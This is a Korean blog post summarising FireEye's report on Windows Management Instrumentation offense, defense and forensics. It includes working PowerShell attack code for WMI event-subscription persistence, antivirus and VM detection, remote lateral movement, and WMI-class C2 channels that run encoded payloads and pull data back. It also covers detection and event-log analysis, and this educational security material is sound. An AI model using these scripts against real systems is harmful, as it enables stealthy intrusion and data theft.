이 글은 FireEye에서 출간한 "WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS" 보고서를 번역 및 요약한 내용입니다.
WMI는 윈도우 NT 4.0과 Windows 95부터 모든 윈도우 운영체제에 존재하는 기능으로서, 윈도우 시스템을 관리하기 위한 도구의 집합이다. 로컬과 원격 환경을 모두 지원하며 매우 다양한 기능을 제공한다. 공격자는 WMI의 강력한 기능을 공격에 악용하여 AV, VM 탐지, 코드 실행, Lateral Movement, 공격 지속, 데이터 탈취 등 공격 전반에 이르는 영역에 활용하고 있다. 특히 WMI는 파일리스한 특성으로 인해 공격자들의 인기를 끌고 있으며 2010년 Stuxnet에서 발견된 이후 꾸준히 발견되고 있다.
이 글에서는 다음의 내용을 다룬다.
- WMI 개념과 구조
- WMI 사용
- WMI 실전 활용
1. WMI 구조
WMI는 WBEM(Web-Based Enterprise Management)와 CIM(Common Information Model) 표준을 마이크로소프트에서 구현한 것이다.
WBEM은 네트워크로 다양한 시스템과 장비가 연결된 현대 IT환경에서 이기종 시스템 사이 상호호환성을 보장하기 위해 DMTF가 제정한 규격 중 하나로서, CIM을 기반으로 분산 네트워크 환경에서 효율적인 시스템 관리 프레임워크를 제시하는 표준이다. CIM은 플랫폼에 독립적인 동시에 기술 중립적으로 관리 정보를 교환하기 위해 제정된 표준이다. 관리 대상 개체 및 그들의 상태, 운영, 조합, 구성, 관계 등을 모두 포함한다.
WMI는 위 표준에 따라 어떻게 데이터를 쿼리(Query), 생산(Populate), 구조화(Structure), 전송(Transmit), 처리(Consume), 수행(Perform actions on)하는지를 규율한다.
1.1 Consuming Data
마이크로소프트는 WMI 데이터를 처리하고 WMI 메소드를 실행하는 방법을 제공한다. Powershell이 WMI와 상호작용하는 가장 대표적인 예시이다.
1.2 Querying Data
WMI 객체는 SQL과 비슷한 WQL(WMI Query Language)이라 불리는 문법으로 쿼리할 수 있다.
1.3 Populating Data
유저가 WMI 객체를 요청하면 WMI 서비스(Winmgmt)는 어떻게 요청된 객체를 생산할 지 알 수 있어야 한다. 이 작업은 WMI provider가 수행하는데 WMI provider는 COM-based DLL로서 전달된 WQL에 따라 모든 프로세스나 레지스트리를 조회하는 등의 역할을 수행한다.
WMI 서비스가 생성하는 객체 유형은 두 가지가 있는데 dynamic 객체와 persistence 객체로 나뉜다.
- Dynamic 객체: 특정 쿼리가 수행될 대만 생성되어 존재
- Persistence 객체: %SystemRoot%\System32\wbem\Repository\에 위치한 CIM repository에 저장되어 유지
1.4 Structuring Data
대부분의 WMI 객체 스키마는 MOF(Managed Object Format) 파일에 명시된다. MOF는 C++과 유사한 문법을 사용하며 WMI 객체의 스키마를 제공한다. WMI provider가 raw data를 생성하면 MOF 파일은 생성된 데이터가 포매팅 될 수 있는 스키마를 제공한다.
MOF 파일이 없어도 .NET 코드를 이용하여 바로 CIM 저장소로 삽입될 수 있다.
1.5 Transmitting Data
마이크로소프트는 WMI 데이터를 원격으로 전송하는 두가지 프로토콜을 제공한다. DCOM(Distributed Component Object Model)과 WinRM(Windows Remote Management)가 그것이다.
1.6 Performing Actions
몇몇 WMI 객체는 실행될 수 있는 메소드를 가지고 있다. Win32_Process 클래스의 Create 메소드가 대표적인 예시로서 공격자들에게 Lateral Movement를 위해 사용되곤 한다.
또한 WMI는 eventing system을 제공하는데 유저는 WMI 객체 생성/수정/삭제 등에 대한 event 핸들러를 등록할 수 있다.
1.7 OverView
[그림 1]은 WMI의 전체 구조를 그림으로 표현한 것이다.
2. WMI 사용
2.1 WMI 상호작용 도구
마이크로소프트와 써드파티 벤더에서 WMI와 상호작용할 수 있도록 여러가지 도구를 제공하고 있다.
이 글에서는 대표적인 몇가지만 소개한다.
도구 | 특징 |
Powershell | 매우 강력한 스크립트 언어로서 cmdlet을 이용해서 WMI와 상호작용할 수 있다.아래는 Powershell 버전 3에서 WMI와 상호작용할 수 있는 cmdlets이다. CIM cmdlet은 WinRM과 DCOM 프로토콜 모두에서 호환 가능하지만, WMI cmdlet은 DCOM에서만 호환된다. CIM cmdlet은 Powershell 버전 3이상부터 사용 가능하지만, windows 7에는 버전2가 default로 설치되므로, 보통 WMI cmdlet이 사용된다. |
wmic.exe | 강력한 커맨드라인 유틸리티로서 다양한 alias를 보유하고 있어 복잡한 쿼리도 수행 가능하다. WMI 메소드 실행도 가능하며, Win32_ProcessCreate 메소드로 lateral movement 수행에 자주 사용된다. |
WSH language(VBS, JScript) | 노후된 언어라는 평가와는 상반되게 WMI 사용에 있어서는 강점을 보유하고 있다. 백도어 구현과 C2 매커니즘 구현에 유리하다. 후술할 ActiveScriptEventConsumer Event Consumer에 의해 지원되는 유일한 언어이다. |
winrm.exe | 객체 조회(enumerate) / 메소드 실행 / 객체 생성 및 삭제 기능을 수행할 수 있고 WinRM 서비스가 실행되는 로컬, 원격 환경 모두에서 작동하는 장점을 가진다. |
아래는 Poweshell에서 WMI와 상호작용할 수 있는 cmdlets의 목록이다.
-- Get-WmiObject
-- Get-CimAssociatedInstance
-- Get-CimClass
-- Get-CimInstance
-- Get-CimSession
-- Set-WmiInstance
-- Set-CimInstance
-- Invoke-WmiMethod
-- Invoke-CimMethod
-- New-CimInstance
-- New-CimSession
-- New-CimSessionOption
-- Register-CimIndicationEvent
-- Register-WmiEvent
-- Remove-CimInstance
-- Remove-WmiObject
-- Remove-CimSession
2.2 원격 WMI
원격 개체 쿼리, 이벤트 등록, WMI 클래스 메소드 실행과 클래스 생성을 지원하는 프로토콜은 두가지가 있는데, DCOM과 WinRM이 그것이다. 두 프로토콜은 일반적으로 악성 트래픽으로 간주하지 않으므로 공격자가 이용하기 유리하다.
원격 공격을 위해서는 privileged user credential이 필요하다.
2.2.1 DCOM
- default 프로토콜
- TCP 135 port로 접속 시작, 데이터는 랜덤 TCP 포트로 전송
- HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet –Ports (REG_MULTI_SZ)로 범위 설정
- 파워쉘 WMI cmdlets이 사용
2.2.2 WinRM
- 권장됨
- WSMan 표준에 따라 설계
- 파워쉘 원격 명령실행(Powershell Remoting)은 WinRM 표준에 따라 설계됨
- WMI뿐 아니라 CIM도 지원
- TCP 5985(HTTP) 사용, default로 암호화
- TCP 5986(HTTPS) 사용하도록 설정 가능
WinRM 서비스를 사용하는 시스템에서 원격 WMI 상호작용을 지원하는 내장 도구는 winrm.exe과 Powershell CIM cmdlets인데, CIM cmdlets는 상술하였듯 DCOM을 사용하도록 설정될 수 있으나 WinRM 서비스를 사용하지 않는 경우에만 DCOM을 사용하도록 설정된다.
WInRM 서비스가 Listening 상태인지 체크
PS C:\> Test-WSMan -ComputerName 192.168.72.134
원격 접속
PS C:\> $CimSession = New-CimSession -ComputerName 192.168.72.134 -Credential ‘WIN-B85AAA7ST4U\
Administrator’ -Authentication Negotiate
PS C:\> Get-CimInstance -CimSession $CimSession -ClassName Win32_Process
2.3 WMI Eventing
WMI가 원래 관리 도구로 설계된 만큼, WMI는 운영체제의 거의 모든 이벤트에 응답할 수 있다.
WMI event의 두가지 유형
- 하나의 프로세스 맥락에서 local하게 실행되는 이벤트
- Permanent WMI event subscription - 관리자 권한이 필요하다. WMI repository에 저장되어 SYSTEM으로 실행됨. 재부팅 이후에도 지속
2.3.1 Event의 필수 요소
- Event Filter -> 목표 이벤트
- Event Consumer -> 이벤트 발생 시 조치사항
- Filter와 Consumer 바인딩 -> filter와 consumer 연결 등록 매커니즘
2.3.2 Event Filter
- 목표이벤트
- 발생 시 Alert
- Intrinsic Event와 Extrinsic Event로 구분
구분 | 개요 | 예시 |
Intrinsic Event | WMI 클래스, 객체, 네임스페이스 생성/수정/삭제 시 발생 운영체제의 거의 모든 이벤트를 포섭하는 장점 매우 빈번히 발생하므로 시간 등 조건 설정하여 실용성 도모 필요 |
• __NamespaceOperationEvent • __NamespaceModificationEvent • __NamespaceDeletionEvent • __NamespaceCreationEvent • __ClassOperationEvent • __ClassDeletionEvent • __ClassModificationEvent • __ClassCreationEvent • __InstanceOperationEvent • __InstanceCreationEvent • __MethodInvocationEvent • __InstanceModificationEvent • __InstanceDeletionEvent • __TimerEvent |
Extrinsic Event | Intrinsic Event에 비해 많지 않은 이벤트 그러나 매우 실용적이고 강력 |
• ROOT\CIMV2:Win32_ComputerShutdownEvent • ROOT\CIMV2:Win32_IP4RouteTableEvent • ROOT\CIMV2:Win32_ProcessStartTrace • ROOT\CIMV2:Win32_ModuleLoadTrace • ROOT\CIMV2:Win32_ThreadStartTrace • ROOT\CIMV2:Win32_VolumeChangeEvent • ROOT\CIMV2: Msft_WmiProvider* • ROOT\DEFAULT:RegistryKeyChangeEvent • ROOT\DEFAULT:RegistryValueChangeEvent |
2.3.3 Event Consumer
- 이벤트 발생시 어떤 행동(action)을 취할 것인가를 나타낸다
- __EventConsumer 클래스에서 파생
유용한 Event Consumer 목록
Consumer | 기능 |
LogFileEventConsumer | 지정된 로그 파일에 이벤트 데이터를 기록 |
ActiveScriptEventConsumer | 임베딩된 JScript 스크립트 페이로드의 VBScript 실행 |
NTEventLogEventConsumer | 이벤트 데이터를 포함하고 있는 이벤트 로그 생성 |
SMTPEventConsumer | 이벤트 데이터를 포함한 이메일 전송 |
CommandLineEventConsumer |
커맨드라인 프로그램 실행 |
특히 ActiveScriptEventConsumer와 CommandLineEventConsumer는 공격자가 매우 유연한 방법으로 페이로드를 실행하고, 파일리스한 공격까지 실행할 수 있는 강력한 기능을 가지고 있다.
Event를 이용한 악성 행위 지속 매커니즘 예시
$filterName=’BotFilter82’
$consumerName=’BotConsumer23’
$exePath=’C:\Windows\System32\evil.exe’
$Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_
PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200
AND TargetInstance.SystemUpTime < 320”
$WMIEventFilter=Set-WmiInstance-Class__EventFilter-NameSpace”root\subscription”
-Arguments @{Name=$filterName;EventNameSpace=”root\cimv2”;QueryLanguage=”WQL”;Query=$Query}
-ErrorActionStop
$WMIEventConsumer=Set-WmiInstance
-ClassCommandLineEventConsumer-Namespace”root\subscription”
-Arguments@=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance-Class__FilterToConsumerBinding-Namespace”root\subscription”
-Arguments@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
3. 실전 활용
3.1 WMI를 이용한 공격
상술했듯 WMI는 매우 다양하고 강력한 기능을 가지고 있어 공격의 모든 단계에서 사용될 수 있다. WMI가 공격에서 가지는 장점을 요약하면 다음과 같다.
- Windows 98과 NT 4.0부터 Default로 설치되어 활용성 높음
- psexec 실행보다 은밀한 공격 수행 가능(Stealth)
- Permanent WMI 이벤트는 SYSTEM으로 실행됨
- 거의 모든 행위가 가능함
- WMI repository를 제외하고 디스크 상 흔적을 남기지 않음
3.1.1 정찰(Reconnaissance) 단계
정찰 단계에서 유용하게 사용되는 클래스의 목록
수집 정보 | 클래스명 |
Host/OS | Win32_OperatingSystem, Win32_ComputerSystem |
파일/디렉토리 리스팅 | CIM_DataFile |
디스크 볼륨 리스팅 |
Win32_Volume |
레지스트리 | StdRegProv |
실행 프로세스 | Win32_Process |
서비스 리스팅 | Win32_Service |
이벤트 로그 | Win32_NtLogEvent |
로그온된 계정 | Win32_LoggedOnUser |
공유 드라이브 | Win32_Share |
설치된 패치 | Win32_QuickFixEngineering |
3.1.2 AV/VM 탐지
AV 탐지
AV 제품이 설치되면 보통 AntiVirusProductclass를 통해 WMI에 제품을 등록한다.
해당하는 경우 아래 쿼리로 AV제품 확인 가능하다.
SELECT * FROM AntiVirusProduct
VM/샌드박스 탐지
하드웨어 사양으로 탐지
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
$VMDetected=$False
$Arguments= @{
Class =’Win32_ComputerSystem’
Filter =’NumberOfLogicalProcessors < 2 OR TotalPhysicalMemory < 2147483648’
}
if (Get-WmiObject@Arguments) { $VMDetected=$True }
vmware 탐지
어댑터/바이오스/프로세스명
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE “%VMware%”
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE “%VMware%”
SELECT * FROM Win32_Process WHERE Name=”vmtoolsd.exe"
$VMwareDetected=$False
$VMAdapter=Get-WmiObjectWin32_NetworkAdapter-Filter’Manufacturer LIKE “%VMware%” OR Name LIKE “%VMware%”’
$VMBios=Get-WmiObjectWin32_BIOS-Filter’SerialNumber LIKE “%VMware%”’
$VMToolsRunning=Get-WmiObjectWin32_Process-Filter’Name=”vmtoolsd.exe”’
if ($VMAdapter-or$VMBios-or$VMToolsRunning) { $VMwareDetected=$True }
3.1.3 코드 실행과 Lateral Movement
Win32_Process Create 메소드를 이용하여 실행한다. 서비스 생성 등 불필요한 아티팩트를 생성하지 않는다는 점에서 psexec.exe를 실행하는 것보다 유리하다.
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ‘notepad.exe’
-ComputerName 192.168.72.134 -Credential ‘WIN-B85AAA7ST4U\Administrator’
악성 스크립트가 임베딩된 파워쉘을 실행하는 방법이 유용하게 사용된다.
3.1.4 C2 채널로 활용
데이터 저장
활용하고 싶은 데이터가 있을 때, WMI 클래스를 동적으로 생성하여 클래스의 static property value에 원하는 데이터를 저장할 수 있다.
$StaticClass=New-ObjectManagement.ManagementClass(‘root\cimv2’,$null,$null)
$StaticClass.Name =’Win32_EvilClass’
$StaticClass.Put()
$StaticClass.Properties.Add(‘EvilProperty’,”This is not the malware you’re looking for”)
$StaticClass.Put()
원격으로 클래스를 생성/수정하여 데이터를 저장할 수 있다는 특성으로 인해 WMI는 매우 효과적인 C2 채널로서 활용될 수 있다.
Push Attack
다음의 코드는 어떻게 WMI 클래스가 파일 데이터 저장에 사용될 수 있는지 보여준다.
저장된 파일 데이터는 원격 파일 시스템에 파워쉘을 이용하여 drop될 수 있다.
$LocalFilePath=’C:\Users\ht\Documents\evidence_to_plant.png’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’Administrator’
$Options.Password =’user’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\\192.168.72.134\root\default’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,
[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]
::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘root\default:Win32_EvilClass’).
Properties[‘EvilProperty’].Value
[IO.File]::WriteAllBytes(‘C:\fighter_jet_specs.png’,
[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.
GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod@CommonArgs-ClassWin32_Process-NameCreate-
ArgumentList$PowerShellPayload
# Confirm successful file drop
Get-WmiObject@CommonArgs-ClassCIM_DataFile-Filter’Name = “C:\\fighter_
jet_specs.png”’
Pull Attack
다음의 코드는 파워쉘 커맨드의 결과를 가지고 오는 예시이다.
단순히 텍스트형으로 가져오지 않고, 직렬화(Serialization)와 역직렬화(Deserialization)를 통해 동일한 포맷을 유지하여 데이터를 가져오는 예시다.
$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.131’
}
# Create a remote registry key and value
$HKLM=2147483650
Invoke-WmiMethod@CommonArgs-ClassStdRegProv-NameCreateKey-
ArgumentList$HKLM,’SOFTWARE\EvilKey’
Invoke-WmiMethod@CommonArgs-ClassStdRegProv-NameDeleteValue-
ArgumentList$HKLM,’SOFTWARE\EvilKey’,’Result’
# PowerShell payload that saves the serialized output of `Get-Process lsass` to the registry
$PayloadText=@’
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.
GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value
$Encoded
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding]::Unicode.
GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Invoke PowerShell payload
Invoke-WmiMethod@CommonArgs-ClassWin32_Process-NameCreate-
ArgumentList$PowerShellPayload
# Pull the serialized results back
$RemoteOutput=Invoke-WmiMethod@CommonArgs-ClassStdRegProv-
NameGetStringValue-ArgumentList$HKLM,’SOFTWARE\EvilKey’,’Result’
$EncodedOutput=$RemoteOutput.sValue
# Deserialize and display the result of the command executed on the remote system
$DeserializedOutput=[Management.Automation.
PSSerializer]::Deserialize([Text.Encoding]::Ascii.
GetString([Convert]::FromBase64String($EncodedOutput)))
3.2 WMI 공격 대응
3.2.1 상용 도구
- Sysinternals Autoruns
- Kansa - 사고대응 분석가를 위한 파워쉘 모듈
위의 도구들은 상용 도구이지만 WMI 지속 매커니즘만 탐지 가능하고, 공격자가 지속 코드를 삭제했을 때는 흔적 분석이 어렵다는 단점이 있다.
아래는 지속 매커니즘을 탐지하는 파워쉘 코드의 예시이다.
$Arguments= @{
Credential =’WIN-B85AAA7ST4U\Administrator’
ComputerName =’192.168.72.135’
Namespace =’root\subscription’
}
Get-WmiObject-Class__FilterToConsumerBinding@Arguments
Get-WmiObject-Class__EventFilter@Arguments
Get-WmiObject-Class__EventConsumer@Arguments
3.2.2 WMI를 이용한 WMI 공격 탐지
공격만큼이나, 방어 수단으로도 WMI는 활용성이 높다. 윈도우 자체 내장 IDS라고 해도 좋을 정도이다.
아래의 표를 참고하여 적절한 Eventing를 구성하면 방어수단으로도 적극 사용할 수 있을 것이다.
케이스 | 발생 효과(탐지 대상) |
WMI를 지속 매커니즘으로 사용한 경우 | __EventFilter 인스턴스와 __EventConsumer, __FilterToConsumerBinding이 생성됨 __InstanceCreationEvent 이벤트가 발생 |
WMI shell 유틸리티가 C2 채널로 사용 | __Namespace 인스턴스가 생성/수정 __NamespaceCreationEvent, __NamespaceModificationEvent 이벤트 발생 |
공격자 데이터 저장을 위해 WMI 클래스가 생성됨 | __ClassCreation 이벤트가 발생 |
악성 WMI Provider가 설치됨 | __Provider 클래스 인스턴스가 생성 __InstanceCreationEvent 이벤트가 발생 |
시작메뉴/레지스트리 등으로 지속 | Win32StartupCommand 클래스 인스턴스가 생성 __InstanceCreationEvent 이벤트가 발생 |
레지스트리 value를 통해 지속 | RegistryKeyChangeEvent 또는 RegistryValueChangeEvent 발생 |
서비스 등록 | Win32_Service 클래스 인스턴스가 생성 __InstanceCreationEvent 이벤트 발생 |
3.2.3 기타 대응
- WMI 서비스 비활성화 : 이미 윈도우 시스템은 WMI 의존도가 높아 권장되지 않으며 부작용 고려해야 함
- WMI 프로토콜 포트 제한 : 원격 WMI가 필요없는 경우 DCOM으로 하여금 하나의 포트만 사용하도록 설정한 다음, 해당 포트 Block
- 이벤트로그 분석
이벤트로그 | 내용 |
Microsoft-Windows-WinRM/Operational | 실패한 WinRM 접속 시도(origin IP 기록) |
Microsoft-Windows-WMIActivity/Operational | 실패한 WMI 쿼리와 메소드 실행 기록 |
Microsoft-Windows-DistributedCOM | 실패한 DCOM 연결 시도(origin IP 기록) |
기타 파워쉘 로그 |
'Information Security > Malware' 카테고리의 다른 글
한글(.hwp) 악성코드 분석 (1) | 2021.03.27 |
---|---|
실전에서 만난 Anti-Disassembly 기법과 해결(feat. GandCrab) (1) | 2021.03.24 |